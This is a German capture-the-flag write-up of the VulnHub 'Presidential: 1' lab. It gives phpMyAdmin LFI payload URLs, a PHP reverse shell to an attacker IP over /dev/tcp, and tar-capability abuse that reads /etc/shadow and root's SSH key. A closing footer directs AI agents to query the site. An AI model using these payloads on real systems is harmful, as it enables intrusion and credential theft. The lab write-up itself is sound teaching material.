> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md).

# Presidential: 1 VulnHub-Lösung

{% embed url="<https://www.vulnhub.com/entry/presidential-1,500/>" %}

{% hint style="warning" %}
Fähigkeiten:

* Web-Enumeration
* Informationsleck
* Virtuelles Hosting
* Subdomain-Enumeration
* phpMyAdmin missbrauchen - LFI zu RCE (PHP-ID-Sitzungen missbrauchen)
* Hashes knacken (Benutzer-Pivoting)
* Capabilities missbrauchen (tar cap\_dac\_read\_search+ep) (Privilegieneskalation)
  {% endhint %}

## Aufklärung

**Einrichtung des Arbeitsbereichs:**

Richten Sie den Arbeitsbereich ein, indem Sie drei Ordner erstellen, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="/files/30ef88fc9790e03c5612f6afe31e7c3236adbdf9" alt=""><figcaption></figcaption></figure>

**IP-Adressfindung mit arp-scan:**

Den arp-scan-Befehl verwenden, um die IP-Adresse der Maschine zu erkennen:

```bash
arp-scan -I ens33 --localnet --ignoredups
```

<figure><img src="/files/c294b2409386a18a9f84bd9e19fcbb68e42cbfeb" alt=""><figcaption></figcaption></figure>

**Offene-Ports-Ermittlung mit Nmap:**/ Offene Ports auflisten und die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis exportieren:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.71.145 -oG allPorts
```

<figure><img src="/files/4e4c8c9e8a975bd5c96c82a47dd828de4bf6c07e" alt=""><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap :**/ Nmap verwenden, um Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p80,2082 192.168.71.145 -oN targeted
```

<figure><img src="/files/468919b2f1294245a5e7742bb1fe29d67868b17b" alt=""><figcaption></figcaption></figure>

#### Serverscan mit Wappalyzer:

Wappalyzer verwenden, um festzustellen, dass der Server Apache und die Programmiersprache PHP verwendet.

<figure><img src="/files/05794d0a300e7c937030a8a8f6b71b498359c8f3" alt=""><figcaption></figcaption></figure>

**Die Zielversion mit WhatWeb identifizieren:**/ WhatWeb verwenden, um die Website zu scannen und die Version der Maschine (Ubuntu) und von Apache zu identifizieren:

<div data-full-width="true"><figure><img src="/files/8f55f66d9ee8cc9f2b1103ca3b48bf3452a09127" alt=""><figcaption></figcaption></figure></div>

**Konfiguration von virtuellem Hosting für die Subdomain-Suche:**

Bevor du mit der Suche nach Subdomains beginnst, konfiguriere das virtuelle Hosting für das Ziel, um die gewünschten Informationen gezielter zu finden.

<figure><img src="/files/483ba2f158deb4799e549c315d329527b6c98605" alt=""><figcaption></figcaption></figure>

**Mögliche Benutzeridentifikation auf der Website:**

Erkunde die Website, um mögliche Benutzer zu identifizieren. In diesem Fall werden zwei Benutzer, Kelly Bowen und Hugh Morgan, als interessante Punkte identifiziert.

<figure><img src="/files/2cd297372ba1fdcdd4fbe75e3288992db351f1cc" alt=""><figcaption></figcaption></figure>

**Mit Gobuster nach Verzeichnissen suchen**

Verwende Gobuster mit einer Verzeichnisliste, um versteckte Zugriffspfade zu finden. Identifiziere drei Verzeichnisse, von denen eines, "cgi-bin", ein potenzielles Risiko für eine Verwundbarkeit gegenüber [Shellshock](/de/web-vulnerabilities/shellshock-attack.md) Angriffe darstellt.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash
```

<figure><img src="/files/ce950e1eba3bec9abefad3e33108e19a4b513a49" alt=""><figcaption></figcaption></figure>

**Nach Dateien mit PHP-Endung suchen**

Führe mit Gobuster eine gezielte Dateisuche mit der PHP-Endung durch, um relevante Dateien zu finden. Entdecke eine Datei "config.php", die beim Interpretieren keine sichtbaren Informationen preisgibt.

```bash
gobuster dir -u http://192.168.71.145/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --add-slash -x php
```

<figure><img src="/files/e3cead81e9df5e7632e17e515c1357b6d2ad5033" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e1d7aaa2e36f3cd245e5a5173a4ced55334bb8ae" alt=""><figcaption></figcaption></figure>

**Nach Sicherungsdateien suchen (bak-Endung)**

Setze die Suche fort, indem du gezielt Sicherungsdateien mit der Endung ".bak" suchst. Finde eine relevante Datei, die sensible Informationen enthalten könnte.

<figure><img src="/files/ae2006f72eae04723fdcef9a74272f4a98c3aad7" alt=""><figcaption></figcaption></figure>

**Datenbankanmeldedaten erhalten:**

Verwende die aus der ".bak"-Sicherungsdatei extrahierten Informationen, um die Datenbankanmeldedaten zu erhalten.

<figure><img src="/files/ef89b400ea6fc88d0f24ef54dd12b989d9071c11" alt=""><figcaption></figcaption></figure>

**Versuch einer SSH-Verbindung:**

Versuche, dich mit den über SSH erhaltenen Anmeldedaten zu verbinden. Der Versuch scheitert wegen des Fehlens eines privaten Schlüssels.

<figure><img src="/files/8c417dc039359faa674ad65659c871e9713306cc" alt=""><figcaption></figcaption></figure>

**Die Gültigkeit des Benutzers "votebox" bei SSH überprüfen**

Aufgrund der alten SSH-Version prüfen, ob der Benutzer "votebox" ein gültiger Benutzer des Systems ist.

<figure><img src="/files/89a502314818bdf4b06d387a12eb0656d2e4e548" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/60403af6a9a28e7baab3ad9ed81eec6f40789fa4" alt=""><figcaption></figcaption></figure>

**Mit Gobuster entdeckte Subdomains**

Verwende Gobuster mit einer Subdomain-Liste, um mögliche Subdomains zu erkunden. Dieser Versuch liefert jedoch keine positiven Ergebnisse.

```bash
gobuster vhost -u http://votenow.local/ -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -t 20 | grep -v "400"
```

<figure><img src="/files/7b37a0be62878ca83e29fe2f4b7098dcff75a9eb" alt=""><figcaption></figcaption></figure>

**Alternative Suche nach Subdomains mit einem anderen Wörterbuch:**

Wiederhole die Suche nach Subdomains mit einem anderen Verzeichnis-Wörterbuch.

<figure><img src="/files/cc94dc490fe3d314882b9d52a30727f6f9e38f96" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/713a38081256a9b428720a7ab8dc1374a3319e9c" alt=""><figcaption></figcaption></figure>

#### Identifiziere dich mithilfe der zuvor entdeckten ".bak"-Datei.

<figure><img src="/files/eacf3e199f23e5af0671af7354dda855a4a738a0" alt=""><figcaption></figcaption></figure>

**NCE-Schwachstellenidentifizierung in phpMyAdmin**

Nachdem entdeckt wurde, dass die phpMyAdmin-Version verwundbar ist (4.8.1), verwende das Tool SearchExploit, um passende Exploits zu finden, und identifiziere eine [RCE ](/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md)(Remote Code Execution)-Schwachstelle.

<figure><img src="/files/32e426d6713b3e490f448514de1a33f947138299" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/afdb8c7b3ad8c3191fc68bbcb8400dd109b950bd" alt=""><figcaption></figcaption></figure>

## RCE-Schwachstelle:

Nutze die NCE-Schwachstelle, indem du das folgende Skript in die URL einfügst, um die Datei "/etc/passwd" zu lesen:

<figure><img src="/files/ab990f54450c32fc82a65b6fe26a5bfc9951c04a" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/fb6f16c0feb3614e7624f37686cac17023a9d0bb" alt=""><figcaption></figcaption></figure>

**Versuch, den privaten SSH-Schlüssel des Admin-Benutzers wiederherzustellen**

Versuche, über die folgende URL auf den privaten SSH-Schlüssel des Benutzers "admin" zuzugreifen, stoße jedoch auf einen Fehler:

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/509a370ddaf675f8b13ce7f66cce002a1ff9601d" alt=""><figcaption></figcaption></figure>

**Erkundung der internen Ports des privaten Netzwerks**

Verwende die folgende URL, um die internen Ports des Servers aus der Datei /proc/net/tcp aufzulisten:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/9263f6225cb1fb1590f9266e1d8b66dbe5c7d1cb" alt=""><figcaption></figcaption></figure>

Speichere diese Ports in einer Datendatei für die weitere Analyse.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/f8fac42c3c2c49ee5b144220e65176d75d778bd4" alt=""><figcaption></figcaption></figure>

**Identifizierung des Verzeichnisses, das phpMyAdmin-Sitzungen enthält**

Durch das Erkunden des Skripts ein Verzeichnis identifizieren, das phpMyAdmin-Sitzungen enthält:

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/398b90c2a757803c81340908b44b771e644442e2" alt=""><figcaption></figcaption></figure>

## phpMyAdmin-Schwachstelle (Command Injection)

**Verwendung des phpMyAdmin-Sitzungscookies für eine Command Injection**

<figure><img src="/files/b29c81751b24cb7f412dac9f0ffedd8fbd227cc5" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/c510d9127ddf11071d4b4eaeb3462e0d4d658733" alt=""><figcaption></figcaption></figure>

#### Diese Datei interpretiert alle SQL-Befehle.

```sql
SELECT 'testing';
```

<figure><img src="/files/58480e6ea12928c7df09489090ff708b01d70f96" alt=""><figcaption></figcaption></figure>

**SQL-Command-Injection, um einen** [**Reverse Shell**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

/*/* Der Zugriff auf die Maschine war schließlich erfolgreich:/*/*

<figure><img src="/files/450294e812f1e213de07c40c8af87fb8e47cbbd6" alt=""><figcaption></figcaption></figure>

#### Terminalstabilisierung für die Privilegieneskalation:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

#### **Zugriffsbeschränkung auf /home/admin und Entdeckung eines gehashten Passworts:**

Beachte die Zugriffsbeschränkung auf /home/admin, die eine authentifizierte Anmeldung erfordert. In phpMyAdmin sieht man den Benutzer "admin" mit einem gehashten Passwort, was darauf hinweist, dass das Passwort entschlüsselt werden muss, um auf das Dateisystem zuzugreifen.

<figure><img src="/files/9eed001cbeeaf9f8a3f0b732b98b366353e356df" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d3c08ec3d10f78f7889afd3ad643e5bfc3daa419" alt=""><figcaption></figcaption></figure>

## Passwort per Brute-Force knacken:

Erstelle eine Datei "hash", die das gehashte Passwort enthält, und verwende John the Ripper, um es mit einer Passwortliste zu knacken (in diesem Beispiel rockyou.txt):

```bash
john -w:/usr/share/wordlists/rockyou.txt hash
```

**Angezeigtes Passwort**

```bash
john --show hash
```

<figure><img src="/files/b446e40197c59b5f4acf19d129f0d3a2f648ea16" alt=""><figcaption></figcaption></figure>

#### **Wechsle zu dem `admin` Benutzer**

Verwende das entschlüsselte Passwort des Admin-Benutzers und verbinde dich als Administrator mit dem System

<figure><img src="/files/14df4aaae2c4dd92a644149242eec9841d4897e5" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation (Capabilities)

```bash
getcap -r / 2>/dev/null
```

Verwende den `getcap` Befehl, um die System-Capabilities zu untersuchen. Identifiziere eine Möglichkeit, alle Dateien im System aufzulisten.

<figure><img src="/files/ed8aa1f994d95602c01626e0db9fe82347ebcc48" alt=""><figcaption></figcaption></figure>

/*/* Die /etc/shadow-Datei mit tar erfassen/*/*

Erstelle einen Ordner im Verzeichnis /tmp und binde die Datei /etc/shadow mit dem folgenden Befehl ein:

```bash
tarS -cvf shadow.tar /etc/shadow
```

Entpacke das Archiv im Verzeichnis /tmp. Als Ersteller die Berechtigungen ändern, um den Inhalt von /etc/shadow anzuzeigen.

```bash
tar -xvf /tmp/shadow.tar -C /tmp/
chmod 644 /tmp/etc/shadow
```

<figure><img src="/files/6982ebd2960f385543f1c47a3f758054ab2e4100" alt=""><figcaption></figcaption></figure>

**Erfassung des privaten SSH-Schlüssels mit tar**

Erfasse den privaten SSH-Schlüssel des Root-Benutzers mit dem folgenden Befehl:

```bash
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
```

<figure><img src="/files/7089dd554d4aa221acc75b8db165895db79ba563" alt=""><figcaption></figcaption></figure>

**SSH-Verbindung mit dem erfassten privaten Schlüssel:**

Verwende den erfassten privaten Schlüssel, um eine SSH-Verbindung zum Root-Benutzer auf dem lokalen Rechner herzustellen.

```bash
ssh -i id_rsa root@localhost -p 2082
```

**Flag erhalten :)**

<figure><img src="/files/34498a928a60cc026298b6c7bbd1bcb4be36244a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
